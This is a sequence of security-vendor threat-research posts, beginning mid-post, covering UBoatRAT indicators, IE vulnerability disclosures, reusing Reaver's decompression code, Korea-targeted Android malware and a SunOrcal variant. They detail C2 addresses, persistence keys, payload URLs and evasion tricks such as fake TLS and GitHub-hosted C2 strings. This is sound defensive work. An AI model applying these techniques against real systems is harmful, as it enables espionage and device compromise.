Though the latest version of UBoatRAT was released in September, we have seen multiple updates in elsa999 accounts on GitHub in October. The author seems to be vigorously developing or testing the threat. We will continue to monitor this activity for updates.
Palo Alto Networks customers are protected from this threat in the following ways:

  • All samples discussed are classified as malicious by the WildFire and Threat Prevention
  • Traps prevents the malware discussed in this report from executing
  • AutoFocus users can track the malware described in this report using the UBoatRAT

 

Indicators

UBoatRAT SHA256

bf7c6e911f14a1f8679c9b0c2b183d74d5accd559e17297adcd173d76755e271 6bea49e4260f083ed6b73e100550ecd22300806071f4a6326e0544272a84526c cf832f32b8d27cf9911031910621c21bd3c20e71cc062716923304dacf4dadb7 7b32f401e2ad577e8398b2975ecb5c5ce68c5b07717b1e0d762f90a6fbd8add1 04873dbd63279228a0a4bb1184933b64adb880e874bd3d14078161d06e232c9b 42d8a84cd49ff3afacf3d549fbab1fa80d5eda0c8625938b6d32e18004b0edac 7be6eaa3f9eb288de5606d02bc79e6c8e7fc63935894cd793bc1fab08c7f86c7 460328fe57110fc01837d80c0519fb99ea4a35ea5b890785d1e88c91bea9ade5 55dd22448e9340d13b439272a177565ace9f5cf69586f8be0443b6f9c81aa6e7 9db387138a1fdfa04127a4841cf024192e41e47491388e133c00325122b3ea82 e52d866e5b77e885e36398249f242f8ff1a224ecce065892dc200c57595bb494 eb92456bf3ab86bd71d74942bb955062550fa10248d67faeeeedd9ff4785f41e 452b1675437ef943988c48932787e2e4decfe8e4c3bed728f490d55b3d496875 66c2baa370125448ddf3053d59085b3d6ab78659efee9f152b310e61d2e7edb5


Downloader SHA256

f4c659238ffab95e87894d2c556f887774dce2431e8cb87f881df4e4d26253a3


Web Access
https://raw.githubusercontent[.]com/r1ng/news/master/README.md
https://raw.githubusercontent[.]com/elsa999/uuu/master/README.md
http://www.ak(masked)[.]jp/images/ http://elsakrblog.blogspot[.]hk/2017/03/test.html
C2
115.68.49[.]179:80
115.68.49[.]179:443
60.248.190[.]36:443
115.68.52[.]66:443
115.68.49[.]180:443
122.147.187[.]173:443
124.150.140[.]131:443
File
C:\programdata\init.bat
C:\programdata\svchost.exe

Palo Alto Networks Unit 42 Vulnerability Research November 2017 Disclosures

Posted on by Unit 42

As part of Unit 42’s ongoing threat research, we can now disclose that Palo Alto Networks Unit 42 researchers have discovered four vulnerabilities addressed by the Microsoft Security Response Center as part of their November 2017 security update release.

CVE Vulnerability Name Affected Products Maximum Severity Rating Impact Researcher(s)
CVE-2017-11855 Internet Explorer Memory Corruption Vulnerability Internet Explorer 9, 10, 11 Critical Remote Code Execution (RCE)  Hui Gao
CVE-2017-11856 Internet Explorer Memory Corruption Vulnerability Internet Explorer 11 Critical Remote Code Execution (RCE)  Hui Gao and Zhanglin He
CVE-2017-11791 Scripting Engine Information Disclosure Vulnerability Internet Explorer 9, 10, 11; Microsoft Edge Important Information Disclosure  Hui Gao
CVE-2017-11834 Scripting Engine Information Disclosure Vulnerability Internet Explorer 9, 10, 11 Important Information Disclosure  Hui Gao

For current customers with a Threat Prevention subscription, Palo Alto Networks has also released IPS signatures providing proactive protection from these vulnerabilities. Traps, Palo Alto Networks advanced endpoint solution, can block memory corruption based exploits of this nature.
Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android and other ecosystems. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.

Using Existing Malware to Save You Time

Posted on by Mike Harbison

As a malware analyst and reverse engineer, I am often faced with reversing some type of cryptography algorithm or decompression routine that can take hours, days, months, or even years to fully understand.  I am often tasked with understanding:  What is the blob of data that is used by the malware?
Answering the “what” is always the challenging part and I usually don’t have a lot of time to fully reverse some crypto routine.  I simply need to answer the question:  This data is a configuration file that is used by the malware to do XYZ or I simply don’t know what this data is (I don’t like to give this answer, but it happens).
There are several different approaches one can take to decrypt/decompress data from malware.  You can run the malware and dump memory segments (dump strings on each sample afterwards), debug the malware in a debugger, place hooks on decryption/decompression routines and dump return vales, static analysis, etc.  While all these approaches are good and will provide you the desired answers they can be somewhat time consuming. What if you have several blobs of data you need decoded/decompressed?  Wouldn’t it be great if you could take the assembly code directly from the malware’s decompression/decoding routine, put it in a compiler such as Visual Studio, compile it to a dynamic link library (DLL), and then call into it using your favorite scripting language such as Python?  This blog will show a technique that can be used to achieve just this.  A link to the finished tool hosted on Unit 42’s public tools GitHub repository, which decompresses a data blob within Reaver used as a database lookup for API calls and strings can be found here.

The Scenario
For this example, I was tasked with trying to identify the compression algorithm used as part of our recent analysis into the Reaver malware family and determine if the strings within the malware could be decompressed from the binary without running it.  The keyword here being “without”.
During my analysis of the Reaver malware family, it appears to implement a modified Lempel-Ziv-Welch (LZW) compression algorithm.  The decompression algorithm from the Reaver malware for this example was found at address:  0x100010B2 and is approximately 200 lines of assembly.  Decompressed routine example is in Figure 1, below:

Figure 1 Reaver decompression routine

For brevity the entire code from the malware function is not shown.  The important parts to take aware from this are:

  • Calling convention is __thiscall (indicates C++)
  • Function takes five arguments
  • The function is called once from the malware (number of cross references identified in IDA Pro)

Here is what the function looks like when being called:

Figure 2 Calling Reaver decompression routine

Here’s an overview of calling the decompressed function:

  • Clears EAX register, so EAX is zero
  • Pointer to the object is stored in ECX (Thiscall)
  • The three pushes of EAX indicate that the last three parameters to the decompressed routine are always zero.
  • Parameter two is a pointer to a destination buffer.
  • Parameter one is a pointer to the compressed data.

The compressed data is:

Figure 3 Reaver compresed data

For brevity the entire contents of the compressed data are not shown.  The entire size is:  ~45,115 bytes.
Bytes 1-7 (08 00 A5 04 01 12 03) appear to be a magic header for the compression routine and was found in all Reaver malware variants.
Armed with this knowledge we can now turn our focus to the inner working of the decompression routine.

Note:  From here one could simply monitor the return from the call and dump the contents of the destination buffer, which would contain the decompressed data, but this would require running the code from a debugger.  Remember our goal is to not run the sample.

At this point we have enough general information that we can begin to create a DLL, so start up Visual Studio or any compiler that handles compiling assembly (NASM/MASM).  Create a new empty DLL project and add a new header file.  For example, I created a header with the following information:

Figure 4 C Header file

The above code creates a single export named “Decompress” and accepts two arguments.  Why two and not five?  Since the other three arguments will always be zero there is no need to define them.  The return type for our function is a Boolean.
For your source file (.cpp or .c), take the assembly from IDA Pro or your debugger and add it to your source file. Here is what my source file looks like (after I fixed it up):

Figure 5 Our decompression routine

Taking assembly from IDA Pro or a disassembler such as Immunity Debugger isn’t one to one as it does require some work on your part.  Unfortunately, you can’t take the assembly and expect things to just magically work.  One area that requires special attention are the function calls made within your code block.  Each assembly call needs a name (label) and all the code needs to be arranged in the proper calling order, otherwise you will receive unexpected results or crash.  Also, it’s important that you copy the assembly for each function call that is made.  In this sample, I used the word “check” to represent function names or jump locations, as I was quickly working my way through this.
Since LZW encodes data using an index into a dictionary the first thing the decompression routine does is allocate a buffer of memory 16,512 bytes (0x4080) to create the dictionary.  From the assembly, it uses the C++ API malloc to allocate the buffer and then sets the buffer to NULL (this is how malloc works).  A simpler and more efficient way is to use calloc function which reduces the number of instructions and allocates the buffer for you.
We start by coding this in C++ and then switch to Visual Studio inline assembly using the __asm keyword.  The code block within the __asm keyword is where you will place your assembly instructions and make the necessary adjustments; not only for the code to compile, but also to ensure that the stack is aligned properly.  In studying the decompression routine, the following instructions were necessary before we can begin to start executing the decompression routine.

  • Set EBX to zero.
  • Subtract 64 bytes (0x40) from the stack. Necessary to prevent us from overwriting any stack data
  • Save our stack pointer into ESI
  • EDI needs to point to our dictionary buffer created via calloc
  • EAX needs to point to our source data
  • EDX needs to point to our destination buffer

The following nine lines were manually added in-order to satisfy the requirements for the decompression algorithm.  The remaining code was copied directly from Immunity Debugger.

Figure 6 Setting up decompression routine requirements

At this point, all it takes is to update the assembly calls and jumps with meaningful names and arrange them in the correct order.  Now the code should compile and run, but when our routine is finished you must restore the stack back, so it returns to the proper caller in this case Python ctypes.  The following code was added:

Figure 7 Adjusting stack for return

Here we are restoring the stack pointer and base pointer and adding 0x120 or 0x58 to ESI depending if the DLL is a VS debug build or release build.
Now that we have a DLL we can begin to call into it and pass it data via Python and ctypes.  The following Python script uses our DLL to decompresses Reaver data.

The Python script was recently updated to support multiple Reaver variants.  The newer Reaver variants use Microsoft CAB compression as a first layer followed by LZW modified decompression.  The script does the following:

  • Loads our DLL LzwDecompress.dll
  • Attempts to locate the magic signature values for the modified LZW header or Microsoft CAB
  • For the LZW decompression routine creates two string buffers, which are pointers to a buffer. The source buffer is a pointer to the data that needs to be decompressed and the destination buffer is where we will store the decompressed data.
  • Call the export named Decompress and pass it our two parameters
  • Writes the data to a file

The following is an example of the script running:
Malware Reversing

Figure 8 Script decompressing data

The first example is of an older version of Reaver that uses the LZW decompression routine.  The decompressed data is written to a text file that contains the following:

The next example is of a newer Reaver sample that added a layer of compression using Microsoft CAB.
Malware reversing_2

Figure 9 Script expanding CAB file and decompressing data

Here the script found the magic values for Microsoft CAB, expanded the file, read in the expanded file, found the magic value in that file for the decompression routine and wrote the same decompressed data to a text file.

Conclusion
This blog has shown you that by taking the existing Reaver decompression routine straight from assembly, placing it into Visual Studio, compiling it into a DLL, then calling into it via Python saves us a considerable amount of time.  You no longer must reimplement the routine in C or Python as you simply call the routine and pass it the same data as the malware would.  The tradeoff is understanding assembly, stacks and knowing what registers the routine requires. Once armed with that knowledge it’s easy to implement and can be applied to any function within a binary.

Operation Blockbuster Goes Mobile

Posted on by Anthony Kasza

Unit 42 has discovered a new cluster of malware samples, which targets Samsung devices and Korean language speakers, with relationships to the malware used in Operation Blockbuster. The specific points of connection between these new samples and Operation Blockbuster include:

Although Unit 42 cannot provide a full picture of the details surrounding the delivery of these samples, we are confident this activity targets Korean language speakers who use Samsung devices. Based on this evidence we believe this new malware is likely targeting South Koreans.
The newly discovered samples show new capabilities not previously documented. A strong relationship between previously identified malware samples attributed to these campaigns and the newly discovered samples examined in this report.

New Malware Cluster
At the center of the cluster of new malware samples is a PE (ed9e373a687e42a84252c2c01046824ed699b32add73dcf3569373ac929fd3b9) uploaded to VirusTotal with the filename "JAVAC.EXE".  The sample requires two command line parameters to run, the first is a port number which the binary binds to, acting as a webserver, and the second is also a port number which is used for encrypted protocol communications.
The first port mimics an Apache server, using header values that Apache would use and will serve different resources to requests on the port, depending on the User-Agent header values used. Some of the responses given are embedded in the original PE, whilst others are expected to be found on the local disk. The following JavaScript files are embedded in the resource section of JAVAC.exe:

 Filename SHA256 Purpose
jquery50.js
 		 2b15e4289a3eb8e4eb8c2343895002dde7f5b2791e3c799b4f869be0aa85d2e8 Gets and sets client HTTP Cookie header values e.g. "GoogleAppCookie". Redirects clients to "main.js"
jquery52.js b183625c006f50f2b64ebe0aebda7b68ae285e53d1b4b00c8f49cde2dfc89348 Gets and sets client HTTP Cookie header values e.g. "GoogleAppCookie". Redirects clients to "update.js"
jquery99.js
 		 941cd0662cae55bc06727f1d658aba67f33442e63b03bebe012dad495e9e37dc Redirect all client requests to mboard_ok.css.
main.js
 		 790662a047047b0470e2f243e2628d8f1b62794c1359b75ed9b856325e9c961a Collect system information and invoke a system shell. These are used to accomplish the following:
 
Install and invoke an APK
Write an ELF file to disk on the client
umc.apk
 		 4694895d6cc30a336d125d20065de25246cc273ba8f55b5e56746fddaadb4d8a Three nested APKs which ultimately lead to a backdoor APK implant. This file is likely installed silently by visiting the next resource with an HTTP client.
 
Further details on this APK follow below.
update.js
 		 cf3e9baaac7efcaff8a9864da9f12b4115ba3f148ae5cfc21f3c158f6182b792 Redirect all client requests to a URL which triggers a vulnerability in Samsung devices to install an APK.
 

 
The system name this PE HTTP server is intended to execute on has a hostname of "RUMPUS-5ED8EE00". This is checked by JAVAC.exe during execution. Besides the resources listed in the table above, it is important to note that JAVAC.exe expects additional files located on the system due to some of the resources referencing local JavaScript files. These include the following filenames:

  • mboard_ok.css
  • node_n.js
  • node_e.js
  • node_g.js
  • node_p.js
  • node_ok.js
  • node_nc.js
  • node_ex.js

We have not been able to obtain copies of these resources.
Related ELF ARM Samples
The ELF ARM file embedded in main.js is written to HTTP clients' disks by the logic in main.js. Below is a table outlining indicators from this embedded ELF ARM.

SHA256 Description Embedded IPv4 Addresses
0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d ELF ARM file embedded in main.js  97.211.212.31
14.139.200.107
175.100.189.174

 
This ELF ARM file is one of three we identified. These ELF files are similar to PE files named Cruprox by Symantec, Manuscrypt by Kaspersky, and Clevore by Trend Micro. The ELF ARM samples contain lists of domains (used for deception) and IPv4 addresses (used for command and control). These domains and IPv4 addresses are used to generate crafted TLS sessions similarly to the "fake TLS" communication mechanisms in section 4.3.3.1 of the Operation Blockbuster report by Novetta.
The ELF ARM samples choose one of the embedded domains to populate an SNI field of a TLS connection to one of the embedded IPv4 addresses. By doing command and control in this way an analyst observing the connection stream only sees what looks like (but is not) a TLS connection to a legitimate domain name. The domain names included in 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d are as follows:

  • myservice.xbox[.]com
  • uk.yahoo[.]com
  • web.whatsapp[.]com
  • www.apple[.]com
  • www.baidu[.]com
  • www.bing[.]com
  • www.bitcoin[.]org
  • www.comodo[.]com
  • www.debian[.]org
  • www.dropbox[.]com
  • www.facebook[.]com
  • www.github[.]com
  • www.google[.]com
  • www.lenovo[.]com
  • www.microsoft[.]com
  • www.paypal[.]com
  • www.tumblr[.]com
  • www.twitter[.]com
  • www.wetransfer[.]com
  • www.wikipedia[.]org

An example TLS "Client Hello" record generated by 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d is given below. It includes a legitimate domain name in its SNI field yet is sent to a command and control IPv4 address.
GoingMobile_1
By examining strings, binary functions, and embedded IPv4 addresses of 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d, we were able to hunt for and locate two additional ELF ARM samples. Below is a table of the related ELF ARM samples:

SHA256 Description Embedded IPv4 Addresses
800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266 ELF ARM file likely of the same malware family as 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d
Embedded in 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 (described below)		  
14.139.200.107
197.211.212.31
199.180.148.134
110.45.145.103
217.117.4.110
61.106.2.96
175.100.189.174
153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6
 		 ELF ARM file likely of the same malware family as 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d  
181.119.19.100
114.215.130.173
139.196.55.146
124.248.228.30
119.29.11.203


Related APK Samples
In addition to ELF ARM files the HTTP Server can also serve APK files. As previously stated, an APK with SHA256 4694895d6cc30a336d125d20065de25246cc273ba8f55b5e56746fddaadb4d8a is embedded as a resource in the HTTP PE server sample with a name of "umc.apk".
Umc.apk defines intent filters to receive events from the Android operating system when the APK is replaced (PACKAGE_REPLACED), when the device receives a text message (SMS_RECEIVED), and when the device is in use by a user (USER_PRESENT). Umc.apk installs an embedded APK with the SHA256 value of a984a5ac41446db9592345e547afe7fb0a3d85fcbbbdc46e16be1336f7a54041. A984a5ac41446db9592345e547afe7fb0a3d85fcbbbdc46e16be1336f7a54041 has a name of "install.apk".
The purpose of install.apk is to cleanup umc.apk and install a third APK with a SHA256 hash of 4607082448dd745af3261ebed97013060e58c1d3241d21ea050dcdf7794df416 and a name of "object.apk".
Object.apk is the final malicious payload. This APK ensures that it is running when the device is booted and provides backdoor capabilities to its controller.

  • Record the microphone
  • Capture from the camera
  • Upload, execute, and manipulate local files
  • Download remote files
  • Record GPS information
  • Read contact information
  • Observe SMS or MMS messages
  • Record web browsing history and bookmarks
  • Scan and capture WiFi information

Below is an image of decompiled code from a main component of the backdoor. It shows the internal version number for this APK is “4.2.160713” it is unclear if this is an accurate representation of the number of iterations of development undertaken on this malware family, or if it is to give the APK an air of legitimacy.
GoingMobile_2
Configuration information for object.apk is included in the APK as a resource named "assest.png". The configuration information can be decoded using the following Python function:

The decoded configuration values and their purposes follow:

Value Purpose
4 Proxy Count
113.10.170.98 IPv4
443 Port Number
98.101.211.250 IPv4
443 Port Number
173.0.138.250 IPv4
443 Port Number
192.168.1.49 IPv4
443 Port Number
60 Sleep Time
5 Max Repetition Count

 
Following our analysis of the payload APK, we were able to locate an additional related APK. The APK with SHA256 hash value of 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 contains 800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266, one of the ELF ARM files discussed in a table under the section titled, "Related ELF ARM Samples".
This APK, 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3, contains resources which reference legitimate applications of varying popularity. We hypothesize the inclusion of these resources are to disguise the application's true intent and to make the application seem legitimate. The inclusion of KaKaoTalk resources leads us to believe this APK is targeting South Koreans. The image below shows some of the referenced mobile applications resources:
GoingMobile_3
The purpose of 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 is to execute the ELF ARM file is contains. Below shows decompiled source code of the "com.godpeople.GPtong.ETC.SplashActivity" resource in the APK which contains the main functionality of the APK. It executes the ELF ARM file named "while" and logs activity to the debug log named "snowflake".
GoingMobile_4
Relationships to Known Samples
Originally, the PE server was identified by its binary overlaps with the following samples:

  • 410959e9bfd9fb75e51153dd3b04e24a11d3734d8fb1c11608174946e3aab710
  • 4cf164497c275ae0f86c28d7847b10f5bd302ba12b995646c32cb53d03b7e6b5

When executing, both samples create the mutex "FwtSqmSession106839323_S-1-5-20" which has ties to Operation Blockbuster and the attacks on the SWIFT banking system. Once this overlap in indicators was identified, and manual investigation began, additional overlaps began to emerge.
Additional functional code overlaps are found between the following samples and the PE server:

  • 1d195c40169cbdb0f50eca40ebda62321aa05a54137635c7ebb2960690eb1d82
  • af71ba26fd77830eea345c638d8c2328830882fd0bd7158e0abc4b32ca0b7b74

The PE server sample is not the only sample with ties to previously identified malware. Infrastructure reuse also exist between the IPv4 addresses embedded in ELF ARM files detailed in the previous section and previously identified malware. For example, 175.100.189.174 is embedded in 800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266 and is also contacted by a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6, a documented Destover sample.
Another example of IPv4 address reuse is 119.29.11.203. This IPv4 address is embedded in the ELF file with SHA256 of 153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6 and is also contacted by 7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd which is a PE payload delivered by the macros in the following malicious documents:

  • 7576bfd8102371e75526f545630753b52303daf2b41425cd363d6f6f7ce2c0c0
  • ffdc53425ce42cf1d738fe22016492e1cb8e1bc657833ad6e69721b3c28718b2
  • c98e7241693fbcbfedf254f2edc8173af54fcacebb7047eb7646235736dd5b89

These macros share the same logic as macros discussed by Unit42 in previous reports.

Final Thoughts
It is clear that source code was reused between previously reported samples and the cluster of new samples outlined by Unit 42. Additionally, command and control IPv4 addresses were reused by the malware discussed in this analysis. Technical indicators as well as soft indicators, such as APK themes and names, provide soft and tenable ties to the actors behind Operation Blockbuster and the HiddenCobra group.
The image below summarizes all of the relationships presented in this report:

Attribution is difficult to confidently achieve even with an in-depth technical knowledge and large pool of telemetry to hunt through. Without targeting and delivery information this report offers a partial perspective on this new activity targeting Korean speaking Samsung users.
Palo Alto Networks customers can review this cluster of newly discovered malware by examining the GoingMobile AutoFocus tag.
Unit 42, before publication, notified both Samsung and the KrCERT of the activity detailed here. We would like to thank both organizations for working so quickly with us.
Indicators of Compromise
SHA256
06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3
0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d
153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6
1d195c40169cbdb0f50eca40ebda62321aa05a54137635c7ebb2960690eb1d82
2b15e4289a3eb8e4eb8c2343895002dde7f5b2791e3c799b4f869be0aa85d2e8
410959e9bfd9fb75e51153dd3b04e24a11d3734d8fb1c11608174946e3aab710
4607082448dd745af3261ebed97013060e58c1d3241d21ea050dcdf7794df416
4694895d6cc30a336d125d20065de25246cc273ba8f55b5e56746fddaadb4d8a
4cf164497c275ae0f86c28d7847b10f5bd302ba12b995646c32cb53d03b7e6b5
7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd
7576bfd8102371e75526f545630753b52303daf2b41425cd363d6f6f7ce2c0c0
790662a047047b0470e2f243e2628d8f1b62794c1359b75ed9b856325e9c961a
800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266
941cd0662cae55bc06727f1d658aba67f33442e63b03bebe012dad495e9e37dc
a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6
a984a5ac41446db9592345e547afe7fb0a3d85fcbbbdc46e16be1336f7a54041
b183625c006f50f2b64ebe0aebda7b68ae285e53d1b4b00c8f49cde2dfc89348
c98e7241693fbcbfedf254f2edc8173af54fcacebb7047eb7646235736dd5b89
cf3e9baaac7efcaff8a9864da9f12b4115ba3f148ae5cfc21f3c158f6182b792
ed9e373a687e42a84252c2c01046824ed699b32add73dcf3569373ac929fd3b9
ffdc53425ce42cf1d738fe22016492e1cb8e1bc657833ad6e69721b3c28718b2

Mutexes
FwtSqmSession106839323_S-1-5-20
 
IPv4s

110.45.145.103
113.10.170.98
114.215.130.173
119.29.11.203
124.248.228.30
139.196.55.146
14.139.200.107
173.0.138.250
175.100.189.174
181.119.19.100
197.211.212.31
199.180.148.134
211.115.205.41
217.117.4.110
61.106.2.96
98.101.211.250

Domains

www.radioapp[.]co[.]kr

Filenames
JAVAC.EXE
jquery50.js
jquery52.js
jquery99.js
main.js
umc.apk
update.js
mboard_ok.css
node_n.js
node_e.js
node_g.js
node_p.js
node_ok.js
node_nc.js
node_ex.js
object.apk
Install.apk
while
 
 

SunOrcal Adds GitHub and Steganography to its Repertoire, Expands to Vietnam and Myanmar

Posted on by Josh Grunzweig

Summary
Recently, while Unit 42 was researching Reaver, the newest malware family related to attackers who also use SunOrcal, we also uncovered a new variant of the SunOrcal malware family. This new variant has been in the wild since at least May 2017 and uses both GitHub and steganography in a possible attempt to obscure its C2 infrastructure or perhaps to avoid detection by having the malware variant first beacon to a legitimate site.
SunOrcal activity has been documented to at least 2013, and may have been active as early as 2010. This new variant was used concurrently with both Reaver and traditional SunOrcal and shares much of the same infrastructure. We have also tied this activity to some involving the Surtr malware family, which is another tool used by these attackers.
The steganography technique we found in these new SunOrcal variants has also been used in a recent malicious document that uses a lure related to Donald Trump’s recent visit to Asia. The malicious document specifically mentions the disputed South China Sea area and targets individuals in the Vietnam region. In addition, we uncovered activity using traditional SunOrcal in March and May of 2016 that targeted at least one official entity in Myanmar.  Both Vietnam and Myanmar are outside of the typical targeting of these threat actors, indicating a potential broadening or shifting of targets. However, we do not have enough data to say whether this is a temporary or permanent expansion of activity.
In the following two sections we describe the new SunOrcal variant and ties between this activity, Reaver, traditional SunOrcal, and Surtr malware families.

SunOrcal Malware Analysis
For the following analysis, we analyzed the sample with the following attributes:

SHA256 887aeccfb981266f1d47a68cba64de47a4945a63d3b1787294ac98842ff47ffd
Compile Timestamp 2017-06-22 06:43:05 UTC

 
The malware begins by creating a mutex with a name of ‘GloablCryptNv1.453.2232’. This mutex is created to ensure only a single instance of SunOrcal is running at a given time.
Afterwards, the malware attempts to decrypt various configuration strings using an XOR key of 0xE8. These strings may contain various information, including the following:

  • Remote command and control (C2) server
  • C2 port
  • Various Boolean values
  • Download URL for payload
  • GitHub link to extract payload C2
  • GitHub Boolean value

As we can see in the following screenshot, some of these configuration options are stored with filler strings that will not actually be used, typically prefaced by ‘!!!’.
SunOrcal2_1

Figure 1 SunOrcal XOR-encoded Configuration Strings

 
After the configuration is parsed and decrypted, the malware will check the string at offset 0x412738 for a value of ‘yes’. If this is found, which is true in the case of this particular sample, the malware will attempt to communicate with GitHub to extract a host and port that will eventually be used by the final payload. This particular sample is configured to look at a file hosted at the following URL:

  • https://github.com/NordicMyth/NordicMyth/blob/master/README2.md

This file contains the following information:
SunOrcal2_2

Figure 2 Contents of README2.md

Additionally, a number of other similar files are hosted in this repository as shown in figure 3:
SunOrcal2_3

Figure 3 NordicMyth repository hosting various C2 information

Readers that look at the README2.md file contents may notice an oddity towards the bottom left within the paragraph of text. How this text is used will become apparent shortly.
At this stage, the malware will download the contents of this README2.md file and search for any data between two strings of ‘NorMsL’. In our previous example (as shown in figure 2), the following text is found between the two strings and so is returned:

  • AFaiOVa0BVOdBF6gzcK6yEzvTtk=

This SunOrcal variant proceeds to decode this string using base64 with the following custom alphabet:
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+-
It then takes the resulting decoded text and decodes it yet again using the standard base64 alphabet. Finally, this resulting string from this double decoding operation is XORed against 0xE5. This entire process looks like the following:
SunOrcal2_4

Figure 4 GitHub de-obfuscation process for extracting a C2 server

To date, we have only seen the NordicMyth GitHub repository used by SunOrcal variants using this GitHub technique. Using historical commits, we were able to observe the following remote C2 servers:

After the C2 string is extracted from the remote GitHub URL, it will save both the host and the port to their relevant configuration variables.
At this point, SunOrcal will check the current version of Microsoft Windows to see if it is running Windows Vista or higher. If this is the case, it will use the following path to store subsequent files:

  • C:\ProgramData\[random_directory]

Otherwise, it will use the following hard-coded directory:

  • C:\Documents and Settings\All Users\Application Data\[random_directory]

Where ‘[random_directory]’ is a randomly chosen 8-byte alphanumeric string. In the event the malware identifies that it is already running within this path, it will read the ‘updata.log’ file stored in this path. This read data contains a file path to the original executable, which in turn is deleted, removing traces of the original infection.
Otherwise, SunOrcal will create the randomly named directory and create the ‘updata.log’ file, which it then will write to. The path of the currently running executable will be written to this log file. SunOrcal will also create a ‘data’ subdirectory.
The malware continues to copy itself to the random directory previously created with a filename of ‘sppsvc.txt’. This ‘sppsvc.txt’ file is then renamed to ‘sppsvc.exe’. This newly written executable then has its creation and last write time modified to reflect the year 2008. The last access time is modified to the year 2012. All other time values remain unchanged.
At this stage the malware will write the ‘updata.log’ file with the current filename’s path.
SunOrcal will write one the following registry key to ensure persistence:
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\sppsvc : C:\ProgramData\[random_directory]\sppsvc.exe
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\sppsvc : C:\Documents and Settings\All Users\Application Data\[random_directory]\sppsvc.exe
The malware continues to attempt to download a bitmap (.BMP) file from a remote location. This particular sample was configured to download it from the following URL:

  • http://www.fyoutside[.]com/dwm99.bmp

This .BMP file is written to the previously created ‘data’ subdirectory, with a filename of ‘dwm.dll’. This BMP is in fact an obfuscated DLL file. Opening the BMP file makes this clear as shown in figure 5.
SunOrcal2_5

Figure 5 Downloaded BMP file containing obfuscated DLL file

Prior to be written to disk, SunOrcal will decode this BMP file using an incremental XOR scheme. The contents of the executable begin at offset 54 of the downloaded BMP. The following Python script may be used to decode this data:

 
After running this script, we see the following differences:
SunOrcal2_6

Figure 6 Decoding BMP file to reveal DLL file

 
As the decoded DLL is written to disk, the malware will also write configuration information to this file. This includes, but is not limited to, the C2 host and port it retrieved from GitHub earlier.
After this file is written, the malware proceeds to load the DLL and calls the ‘FunctionWork’ exported function. At this point, the final payload of SunOrcal is executed.

Ties to Reaver and previous SunOrcal and Surtr Activity
The new SunOrcal variant was used concurrently with both traditional SunOrcal and the new Reaver malware family since at least May 2017.  There are multiple overlaps with the C2 infrastructure that we detailed in the previous Reaver blog. In addition to those overlaps, one of the domains we found as a C2 via historical commits to the NordicMyth GitHub, www.eyesfeel256[.]com, was also used as a C2 for SunOrcal activity in March and June 2016 targeting at least one organization in Myanmar. The domain hosting the SunOrcal malware in those attacks, www.outsidefly[.]com, is listed in a 2013 report discussing targeted attacks against Tibetan community using Surtr malware. All of these domains, and several others listed in the 2013 report, also have the same historic registrant as well as PDNS overlap and many have been used in earlier activity involving the SunOrcal and/or Surtr malware families. Several of the SunOrcal variants are also configured to use www.weryhstui[.]com and fyoutside[.]com in addition to GitHub, both of which are documented in our previous blog as used by both Reaver and traditional SunOrcal samples.  Below is a simplified chart showing a sample of the overlaps that can be found while investigating activity involving these three malware families.
SunOrcal2_7

Figure 7. Chart showing some of the overlaps between Reaver, Surtr, and SunOrcal (traditional and the GitHub variant) malware families. All IOCs are in the appendix of this blog


Recent Attacks

One of the most recent attacks that Unit 42 found related to this campaign consisted of a malicious RTF document was served on November 8, 2017 with the following SHA256 hash:
45eee0e7e41f5781577f7f380d90eb7145ab6ba9a8f64df31bb6fd3e72693f33
This most recent malicious RTF in question had an original filename as follows:
Doanald Trump dự APEC khẳng định Vai Trò số 1 của Việt Nam ở Biển Đông khiến Trung Quốc bẽ mặt.doc
This roughly translates to the following:
Donald Trump of APEC confirms Vietnam's No. 1 role in South China Sea is humiliating.doc
Inspection of this RTF document revealed that it loads an embedded executable file that has heavy code overlap with the previously discussed SunOrcal variant. It looks to be streamlined to remove much of the previously witnessed functionality, and simply is configured to download a remote BMP file, decode it to reveal an executable file, and set persistence for this file.
The specific BMP is downloaded from the following location:

  • http://www.fyoutside[.]com/l1106.bmp

In addition to the code overlap, the domain used to download this BMP has been used as a C2 for the SunOrcal variant leveraging steganography as well as with traditional SunOrcal, and was also seen hosting Reaver malware.
The payload is dropped to ‘%TEMP%\mstk.exe’ and the HKCU Run registry key is configured to point at this executable. This sample has been observed downloading the previously discussed Reaver malware family.

Conclusion
